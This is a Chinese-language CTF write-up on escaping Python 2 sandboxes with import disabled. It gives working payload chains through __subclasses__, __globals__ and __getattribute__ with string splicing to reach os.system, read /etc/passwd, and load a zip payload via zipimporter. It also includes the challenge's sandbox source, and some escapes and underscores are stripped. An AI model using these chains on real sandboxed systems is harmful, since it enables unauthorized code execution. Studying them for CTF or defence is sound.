禁用import的情况下绕过python沙箱

本文总结一些python沙盒在禁用了import,__import__ ,无法导入模块的情况下沙盒绕过的一些方法, 国赛上出了一道python沙盒的题,做了一天没做出来, 让我知道我对python一无所知, 于是总结了一篇文章,大佬勿喷.

 

basic

  1. 在Python里,这段[].__class__.__mro__[-1].__subclasses__()魔术代码,不用import任何模块,但可调用任意模块的方法。

2 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (
  1. 查看当前内存空间可以调用的函数
print __builtins__
dir()
dir(__builtins__)

trick1

内置函数,可以通过dir(__builtins__) 看看有哪些内置函数可以利用的.

eval: eval('import("os").system("ls")')

input: import('os').system('ls')

open,file: file('/etc/passwd').read() open('/etc/passwd').read()

exec : exec("__import__('os').system('ls')");

execfile: 加载文件进内,相当于from xx import *

execfile('/usr/lib/python2.7/os.py')  system('ls')

map 回调函数

map(os.system,['ls'])

trick2

__globals__ :该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os,sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__ 属性访问全局的变量

>>> a = lambda x:x+1
>>> dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7fcd7601ccf8>, '__package__': None}
>>> a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7f1095d72cf8>, '__package__': None}
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")

我们看到__globals__ 是一个字典,默认有__builtins__对象,另外funcglobals和`_globals` 作用一样

在python sandbox中一般会过滤__builtins__内容,这样globals里面的__builtins__也就没有什么意义了,即使重新import __builtin__ 还是一样.

2.1 执行系统命令

在python2.7.10里,
[].class.base.subclasses() 里面有很多库调用了我们需要的模块os

/usr/lib/python2.7/warning.py
58  <class 'warnings.WarningMessage'>
59  <class 'warnings.catch_warnings'>

/usr/lib/python2.7/site.py
71  <class 'site._Printer'>
72  <class 'site._Helper'>
76  <class 'site.Quitter'>

我们来看一下/usr/lib/python2.7/warning.py导入的模块

import linecache
import sys
import types

跟踪linecache文件/usr/lib/python2.7/linecache.py

import sys
import os

OK,调用了os,可以执行命令,于是一个利用链就可以构造了:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

dictglobals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问

还要大佬给了一个不需要利用__globals__就可以执行命令的payload:

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

我们来在来看一下/usr/lib/python2.7/site.py导入的模块

import sys
import os
import __builtin__
import traceback

直接构造:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

2.2 禁用了globals如何绕过

在今年国赛上有一道run的沙盒绕过的题目,白名单过滤了import 导入的内容, 禁用了ls,即__globals__ 用不了了,想了很多其他方式都没有绕过去,赛后才知道的方法,这里也写一下

绕过方法就是利用类的一些描述器方法

__getattribute__:

当访问 某个对象的属性时,会无条件的调用这个方法。比如调用t.__dict__,其实执行了t.__getattribute__("__dict__")函数, 这个方法只适用于新式类。
新式类就是集成自object或者type的类。

于是我们就可以利用__init__.__getattribute__('__global'+'s__') 拼接字符串的方法来绕过ls的关键字 而不是直接调用__init__.__globals__

最终的payload为:

print [].__class__.__mro__[-1].__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

有点不明白的就是下面这条命令执行不了,不知道为什么,本机上是可以执行的,不然也是完全可以绕过所有关键字的.

[].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

还有两个描述器方法和这个方法类似,但还是有区别的

__getattr__: 只有getattribute找不到的时候,才会调用getattr.

__get__: 当函数被当作属性访问时,它就会把函数变成一个实例方法。

run这题的源码如下,有兴趣的可以研究一下

sandbox.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-04-09 23:30:58
# @Author  : Xu (you@example.org)
# @Link    : https://xuccc.github.io/
# @Version : $Id$

from sys import modules
from cpython import get_dict
from types import FunctionType

main  = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__

def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']

def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']

def safe_import(__import__,whiteList):
    def importer(name,globals={},locals={},fromlist=[],level=-1):
        if name in whiteList:
            return __import__(name,globals,locals,fromlist,level)
        else:
            print "HAHA,[%s]  has been banned~" % name
    return importer

class ReadOnly(dict):
    """docstring for ReadOnlu"""
    def __delitem__(self,keys):
        raise ValueError(":(")        
    def pop(self,key,default=None):
        raise ValueError(":(")        
    def popitem(self):
        raise ValueError(":(")        
    def setdefault(self,key,value):
        raise ValueError(":(")        
    def __setitem__(self,key,value):
        raise ValueError(":(")        
    def __setattr__(self, name, value):
        raise ValueError(":(")
    def update(self,dict,**kwargs):
        raise ValueError(":(")        

def builtins_clear():
    whiteList = "raw_input  SyntaxError   ValueError  NameError  Exception __import__".split(" ")
    for mod in __builtins__.__dict__.keys():
        if mod not in whiteList:
            del __builtins__.__dict__[mod]

def input_filter(string):
    ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
    for i in ban:
        if i in string.lower():
            print "{} has been banned!".format(i)
            return ""
    return string

# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear


whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__

print """
  ____                  
 |  _  _   _ _ __      
 | |_) | | | | '_      
 |  _ <| |_| | | | |    
 |_| _\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:
    inp = raw_input('>>>')
    cmd = input_filter(inp)
    try:
        exec cmd 
    except NameError, e:
        print "wow something lose!We can't find it !  D:"
    except SyntaxError,e:
        print "Noob! Synax Wrong! :("
    except Exception,e:
        print "unknow error,try again  :>"

cpython

from ctypes import pythonapi,POINTER,py_object

_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]

del pythonapi,POINTER,py_object

def get_dict(ob):
    return _get_dict(ob).contents.value

trick3: 调用file函数读写文件

().__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() //调用file子类
().__class__.__mro__[-1].__subclasses__()[40]('/tmp/1').write("11") //写文件

trick4: zipimport.zipimporter

55  <type 'zipimport.zipimporter'>

我们查看zipimport的帮助手册,发现有个load_module函数,可以导入相关文件到内存中

     |  load_module(...)
     |      load_module(fullname) -> module.
     |      
     |      Load the module specified by 'fullname'. 'fullname' must be the
     |      fully qualified (dotted) module name. It returns the imported
     |      module, or raises ZipImportError if it wasn't found.

于是我们可以先制作一个包含payload的zip文件:

import os
print os.system('cat *')

利用file函数写入zip到/tmp/目录下,然后再调用zipimport.zipimporter导入zip文件中的内容到内存,构造利用链如下:

v = ().__class__.__mro__[-1].__subclasses__()
a = "x50x4bx03x04x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x7ax2ex70x79xcbxccx2dxc8x2fx2ax51xc8x2fxe6x2ax28xcaxccx03x31xf4x8ax2bx8bx4bx52x73x35xd4x93x13x4bx14xb4xd4x35xb9x00x50x4bx01x02x3fx03x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x00x00x00x00x00x00x20x80xa4x81x00x00x00x00x7ax2ex70x79x50x4bx05x06x00x00x00x00x01x00x01x00x32x00x00x00x44x00x00x00x00x00"
v[40]('/tmp/z','wb').write(a)
v[55]('/tmp/z').load_module('z')

缺点: 需要导入zlib库,如果无法导入的话,该方法失效

 

参考

https://zolmeister.com/2013/05/escaping-python-sandbox.html

https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a

(完)